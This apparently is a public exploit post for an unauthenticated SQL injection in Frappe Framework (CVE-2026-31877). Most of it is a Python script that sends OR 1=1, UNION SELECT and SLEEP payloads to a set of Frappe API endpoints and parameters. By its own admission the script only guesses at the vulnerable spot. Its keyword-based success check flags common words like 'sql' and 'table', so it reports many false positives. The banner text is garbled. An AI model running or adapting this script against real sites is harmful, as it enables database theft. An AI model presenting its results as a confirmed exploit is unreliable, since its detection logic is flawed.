Frappe Framework <14.99.0 and <15.84.0 Unauthenticated SQL Injection

Frappe Framework <14.99.0 and <15.84.0 Unauthenticated SQL Injection

⚠ CVE CVE-2026-31877 Affects: https://github.com/frappe/frappe/
Ethical Use Notice [click to collapse]

This post contains technical details about security vulnerabilities and exploit development for educational and research purposes only. All techniques described are intended for use in authorized penetration testing, CTF competitions, or controlled lab environments.

Unauthorized use of these techniques against systems you do not own or have explicit written permission to test is illegal and unethical. Always obtain proper authorization before testing.

Disclosure status: Full Disclosure

CVE references link to public NVD / vendor advisories. Proof-of-concept code, where included, is provided after patch availability for defensive research purposes.

Proof of Concept available โ€” Full exploit code on GitHub. Use in authorized environments only.
▷ View PoC on GitHub

A critical SQL Injection vulnerability has been identified in the Frappe Framework, tracked as CVE-2026-31877.
The flaw allows unauthenticated attackers to inject malicious SQL queries through improperly sanitized parameters in certain API endpoints.

This vulnerability may allow attackers to retrieve sensitive database information without authentication.

The issue affects:

Frappe Framework versions < 14.99.0

Frappe Framework versions < 15.84.0

The vulnerability has been classified with a CVSS score of 9.3 (Critical) and falls under CWE-89.

Vulnerability Details

The vulnerability exists due to improper validation and sanitization of input parameters in specific API endpoints. When crafted requests are sent to vulnerable endpoints, attackers may inject SQL statements that are executed by the backend database.

This can potentially lead to:

Database enumeration

Extraction of sensitive data

Unauthorized access to application data

The vulnerability may be exploited remotely without authentication.

Affected Software

Vendor: Frappe Technologies
Product: Frappe Framework

Affected versions:

Frappe Framework < 14.99.0

Frappe Framework < 15.84.0

Proof of Concept (PoC)

Below is a proof-of-concept script that tests multiple historically vulnerable endpoints and parameters commonly used within Frappe API methods.

#!/usr/bin/env python3
# Exploit Title: Frappe Framework Unauthenticated SQL Injection
# CVE: CVE-2026-31877
# Date: 2026-03-11
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://frappeframework.com
# Software Link: https://github.com/frappe/frappe
# Affected: Frappe Framework <14.99.0 and <15.84.0
# Tested on: Frappe Framework 15.x (vulnerable versions)
# Category: Webapps
# Platform: Linux / Web
# Exploit Type: Remote SQL Injection
# CVSS: 9.3 (CRITICAL)
# CWE : CWE-89
# Description: Unauthenticated SQL injection via improper field sanitization in certain API endpoints allows extraction of sensitive database information.
# Fixed in: 14.99.0 / 15.84.0
# Usage: python3 exploit.py <target> 
#
# Examples:
#   python3 exploit.py http://192.168.1.100:8000
#
# Options:
#
# Notes: This is a template PoC. The exact vulnerable parameter/endpoint remains undisclosed in the public advisory (GHSA-2c4m-999q-xhx4). 
#        Tests common historical Frappe injection points. Use only on systems you own or have explicit permission to test.
#
# How to Use
#
# Step 1: Run against a vulnerable instance (non-production only)

print(r"""
โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
โ•‘                                                                                            โ•‘
โ•‘      โ–„โ–„โ–„โ–„ยท  โ–„โ–„ โ–„. โ–„โ–„ โ€ข โ–„โ–„โ–„โ–„โ–„      โ–„โ–„โ–„   โ–„โ–„โ–„ยท  โ–„โ–„โ–„ยท โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„โ–„ .โ–„โ–„โ–„  โ–„โ€ข โ–„โ–Œ                  โ•‘
โ•‘      โ–โ–ˆ โ–€โ–ˆโ–ชโ–€โ–„.โ–€ยทโ–โ–ˆ โ–€ โ–ชโ€ขโ–ˆโ–ˆ  โ–ช     โ–€โ–„ โ–ˆยทโ–โ–ˆ โ–€โ–ˆ โ–โ–ˆ โ–„โ–ˆโ€ขโ–ˆโ–ˆ  โ–€โ–€โ–„.โ–€ยทโ–€โ–„ โ–ˆยทโ–ˆโ–ชโ–ˆโ–ˆโ–Œ                  โ•‘
โ•‘      โ–โ–ˆโ–€โ–€โ–ˆโ–„โ–โ–€โ–€โ–ชโ–„โ–„โ–ˆ โ–€โ–ˆ  โ–โ–ˆ.โ–ช โ–„โ–ˆโ–€โ–„ โ–โ–€โ–€โ–„ โ–„โ–ˆโ–€โ–€โ–ˆ  โ–ˆโ–ˆโ–€ยท โ–โ–ˆ.โ–ชโ–โ–€โ–€โ–ชโ–„โ–โ–€โ–€โ–„ โ–ˆโ–Œโ–โ–ˆยท                  โ•‘
โ•‘      โ–ˆโ–ˆโ–„โ–ชโ–โ–ˆโ–โ–ˆโ–„โ–„โ–Œโ–โ–ˆโ–„โ–ชโ–โ–ˆ โ–โ–ˆโ–Œยทโ–โ–ˆโ–Œ.โ–โ–Œโ–โ–ˆโ€ขโ–ˆโ–Œโ–โ–ˆ โ–ชโ–โ–Œโ–โ–ˆโ–ชยทโ€ข โ–โ–ˆโ–Œยทโ–โ–ˆโ–„โ–„โ–Œโ–โ–ˆโ€ขโ–ˆโ–Œโ–โ–ˆโ–„โ–ˆโ–Œ                  โ•‘
โ•‘      ยทโ–€โ–€โ–€โ–€  โ–€โ–€โ–€ ยทโ–€โ–€โ–€โ–€  โ–€โ–€โ–€  โ–€โ–ˆโ–„โ–€โ–ช.โ–€  โ–€ โ–€  โ–€ .โ–€    โ–€โ–€โ–€  โ–€โ–€โ–€ .โ–€  โ–€ โ–€โ–€โ–€                   โ•‘
โ•‘                                                                                            โ•‘
โ•‘                          b a n y a m e r _ s e c u r i t y                             โ•‘
โ•‘                                                                                            โ•‘
โ•‘                     >>> Silent Hunter โ€ข Shadow Presence <<<                               โ•‘
โ•‘                                                                                            โ•‘
โ•‘           Operator : Mohammed Idrees Banyamer                Jordan ๐Ÿ‡ฏ๐Ÿ‡ด                 โ•‘
โ•‘                  Handle   : @banyamer_security                                             โ•‘
โ•‘                                                                                            โ•‘
โ•‘                   CVE-2026-31877 โ€ข Frappe SQL Injection (Unauthenticated)                  โ•‘
โ•‘                                                                                            โ•‘
โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
""")

import sys
import requests
import time
import argparse

def test_sqli(base_url, endpoint, param, payload):
    full_url = f"{base_url.rstrip('/')}{endpoint}"
    data = {param: payload}
    print(f"[*] Testing {full_url}  โ†’  {param} = {payload[:60]}...")
    try:
        start = time.time()
        r = requests.post(full_url, json=data, timeout=12, verify=False)
        elapsed = time.time() - start
        indicators = [
            "syntax error", "mysql", "sql", "near", "you have an error",
            "ODBC", "quoted_string", "unclosed quotation", "table", "column",
            elapsed > 5
        ]
        success = any(ind in r.text.lower() for ind in indicators[:10]) or elapsed > 5
        if success:
            print(f"[!!!] Possible SQLi โ€“ response code {r.status_code}")
            print(f"     Time: {elapsed:.2f}s")
            print(f"     Snippet: {r.text[:400]}...")
            return True
        else:
            print(f"   โ†’ No obvious injection (code {r.status_code}, len={len(r.text)})")
            return False
    except Exception as e:
        print(f"   โ†’ Request failed: {e}")
        return False

def main(target):
    common_endpoints = [
        "/api/method/frappe.desk.reportview.get",
        "/api/method/frappe.model.db_query.get_list",
        "/api/method/frappe.client.get_list",
        "/api/method/frappe.desk.query_report.run",
        "/api/resource/User",
        "/api/method/frappe.search.search_link",
        "/api/method/frappe.desk.form.load.getdoc",
    ]
    common_params = [
        "filters",
        "or_filters",
        "fields",
        "order_by",
        "group_by",
        "with_parent",
        "parent_doctype",
        "txt",
    ]
    payloads = [
        "' OR '1'='1",
        "') OR ('1'='1",
        "' OR 1=1 -- ",
        "1' UNION SELECT database(),user(),version() -- ",
        "'; SELECT SLEEP(5) -- ",
        "1' AND SLEEP(5) -- ",
    ]
    print(f"[+] Target: {target}\n")
    found = False
    for ep in common_endpoints:
        for p in common_params:
            for payload in payloads:
                if test_sqli(target, ep, p, payload):
                    print(f"[+] Possible vulnerable combination:")
                    print(f"    Endpoint: {ep}")
                    print(f"    Param:    {p}")
                    print(f"    Payload:  {payload}")
                    found = True
    if not found:
        print("\n[-] No injection detected with these common patterns.")
        print("    โ†’ Either patched / not vulnerable, or different endpoint/param.")
        print("    โ†’ Wait for public details or analyze source diff yourself.")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2026-31877 Frappe SQLi PoC template")
    parser.add_argument("target", help="Base URL, e.g. http://192.168.1.50:8000")
    args = parser.parse_args()
    if not args.target.startswith(("http://", "https://")):
        args.target = "http://" + args.target
    try:
        main(args.target)
    except KeyboardInterrupt:
        print("\n[!] Stopped by user.")
    except Exception as e:
        print(f"\n[!] Fatal error: {e}")

Disclosure: Full Disclosure

Comments

No comments yet. Be the first.

Leave a Comment

Comments are moderated and will appear after approval.